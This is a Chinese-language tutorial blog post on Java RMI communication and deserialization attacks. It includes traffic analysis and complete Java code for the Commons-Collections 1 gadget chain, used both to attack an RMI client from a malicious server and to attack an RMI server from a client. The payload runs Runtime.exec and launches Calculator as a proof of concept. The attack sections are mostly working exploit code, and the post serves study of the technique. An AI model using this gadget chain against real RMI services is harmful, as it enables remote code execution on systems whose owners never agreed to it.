Java-RMI 简单分析与利用

继续学习java 反序列化

Posted by BY Diego on February 18, 2021

RMI 简单通信

服务端

IRemoteHelloWorld.java

先声明一个远程接口 必须extends Remote

方法的异常必须跟实现抛出的一致

package RMI;

import java.io.IOException;
import java.rmi.Remote;

public interface IRemoteHelloWorld extends Remote {
    public String hello() throws IOException; //声明接口
}

RemoteHelloWorld.java

实现接口 实现类必须继承与extends UnicastRemoteObject 并实现hello 方法

package RMI;

import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteHelloWorld extends UnicastRemoteObject implements
        IRemoteHelloWorld {
    protected RemoteHelloWorld() throws RemoteException {
        super();
    }

    public String hello() throws IOException { //异常跟接口一致
        // 实现hello方法, 将uname -a 的结果返回 用于判断命令在哪执行
        java.io.InputStream in = Runtime.getRuntime().exec("uname -a").getInputStream();
        byte[] b = new byte[2048];
        in.read(b);
        return new String(b);
    }
}

RMIServer.java

RemoteHelloWorld 绑定在 本地的127.0.0.1:1099

package RMI;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        RemoteHelloWorld h = new RemoteHelloWorld();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    }
}

客户端

注意客户端package 也同为RMI

IRemoteHelloWorld.java

客户端同时也要在本地定义同样接口

package RMI;

import java.io.IOException;
import java.rmi.Remote;

public interface IRemoteHelloWorld extends Remote {
    public String hello() throws IOException; //声明接口
}

RMIClient.java

package RMI;

import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        IRemoteHelloWorld hello = (IRemoteHelloWorld)Naming.lookup("rmi://192.168.0.100:1099/Hello");
        String ret = hello.hello();
        System.out.println( ret);
    }
}

客户端为Ubuntu、服务端为mac

image-20210217111904890

image-20210217111929833

先运行服务端,再运行客户端

image-20210217112018823

image-20210217112103445

可以发现命令执行在服务端

流量分析

此阶段为客户端与Registry 通信

第三条为客户端 查找远程方法hello 第四条为服务端返回 序列化数据 数据包含远程方法的地址

image-20210217131841667

image-20210217131934027

如下image-20210217132714880

image-20210217132808100

因此远程方法在 192.168.0.100:63323

之后就会跟这个IP的端口通信,通过流量就可以看出

image-20210217133007162

还可以看出 通信过程都是通过反序列化数据 来进行通信(java 反序列化标志 ac ed)

image-20210217133200727

通信双方都会对序列化的数据进行反序列化

流程如下 (来自p神知识星球

image-20210217203014481

攻击客户端

攻击客户端需要恶意服务器返回 恶意序列化payload

以cc1 攻击链为例子(受攻击方需要是java7 以及存在commons-collections-3.1.jar)

(服务端ubuntu 客户端mac)

服务端

RemoteHello.java

package tmp;

import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteHello extends Remote {
	Object exp() throws RemoteException,Exception;
}

RemoteHelloImpl.java

package tmp;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;

public class RemoteHelloImpl implements RemoteHello {

 	public Object exp() throws Exception {
 		System.out.println("exp");
 		return payload(); //将生成的对象返回 然后传输前进行序列化
 	}

	public static Object payload() throws Exception {
    //以下全为cc1攻击链 
 		Transformer[] transformers = new Transformer[]{
 			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[]
					{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
					new InvokerTransformer("invoke", new Class[]{Object.class,
					Object[].class}, new Object[]{null, new Object[0]}),
 					new InvokerTransformer("exec", new Class[]{String.class},
					new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})};
 		Transformer transformerChain = new ChainedTransformer(transformers);
 		Map map = new HashMap();
 		map.put("value", "lala");
		Map transformedMap = TransformedMap.decorate(map, null,transformerChain);
 		Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 		Constructor ctor = cl.getDeclaredConstructor(Class.class,Map.class);
 		ctor.setAccessible(true);
		 Object instance = ctor.newInstance(Target.class, transformedMap);
 		return instance;
 	}
}
package tmp;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMITEST {
	public static void main(String[] args) throws Exception {

 		RemoteHello h = new RemoteHelloImpl();
 		RemoteHello skeleton = (RemoteHello)UnicastRemoteObject.exportObject(h, 0); //这里直接 把当前对象暴露出来,使得它可以接收来自客户端的调用请求。 用最开始的 实现方法必须extends UnicastRemoteObject同样可以 这里效果一样
 		LocateRegistry.createRegistry(1099);
 		Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
	}
 		
}

客户端

测试用的java7 还有 导入了commons-collections-3.1.jar(通过maven 倒入的)

RemoteHello.java 同样还是声明接口

package tmp;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteHello extends Remote {
    Object exp() throws RemoteException;
}

Test.java

package tmp;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Test {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("192.168.0.104", 1099);
        RemoteHello h = (RemoteHello) registry.lookup("Hello");
        h.exp();
    }
}

服务端运行如下

javac -classpath ../javalass/commons-collections-3.1.jar *.java && mv *.class tmp && java  -classpath ../javalass/commons-collections-3.1.jar:. tmp.RMITEST

编译的时候导入c-c-3 运行的时候也需要导入c-c-3

image-20210218103542201

image-20210218101533659

客户端运行

image-20210218104018475

可以看出恶意payload 是从服务端流向了客户端

因此客户端攻击服务端同样 是从客户端 流到服务端就好(前提还是服务端java7 cc3 (cc1利用连的话))

攻击服务端

只要把 待序列化的类发送给服务端

如服务端存在如下方法(存在参数接收 Object)

public xxx exp(Object exp) throws RemoteException {
  ....
}

示例代码

服务端

RemoteHello.class

package test;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteHello extends Remote {
    String exp(Object a) throws RemoteException;
}

RemoteHelloImpl.class

package test;

import java.rmi.RemoteException;

public  class RemoteHelloImpl implements RemoteHello {
    public String exp(Object a) throws RemoteException {
        return "ok";
    }
}

RMITest.class

package test;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMITest {
    public static void main(String[] args) throws Exception {

        RemoteHello h = new RemoteHelloImpl();
        RemoteHello skeleton = (RemoteHello)UnicastRemoteObject.exportObject(h, 0);
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    }
}

客户端

RemoteHello.class

package test;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteHello extends Remote {
    String exp(Object a) throws RemoteException;
}

Client.class

package test;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;

public class Client {
    public static void main(String[] args) throws Exception {
       
        Registry registry = LocateRegistry.getRegistry("192.168.0.100", 1099);
        RemoteHello h = (RemoteHello) registry.lookup("Hello");
        String rs = h.exp(payload());
        
    }
    public static Object payload() throws Exception {
    //以下全为cc1攻击链 
 		Transformer[] transformers = new Transformer[]{
 			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[]
					{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
					new InvokerTransformer("invoke", new Class[]{Object.class,
					Object[].class}, new Object[]{null, new Object[0]}),
 					new InvokerTransformer("exec", new Class[]{String.class},
					new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})};
 		Transformer transformerChain = new ChainedTransformer(transformers);
 		Map map = new HashMap();
 		map.put("value", "lala");
		Map transformedMap = TransformedMap.decorate(map, null,transformerChain);
 		Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 		Constructor ctor = cl.getDeclaredConstructor(Class.class,Map.class);
 		ctor.setAccessible(true);
		 Object instance = ctor.newInstance(Target.class, transformedMap);
 		return instance;
 	}
}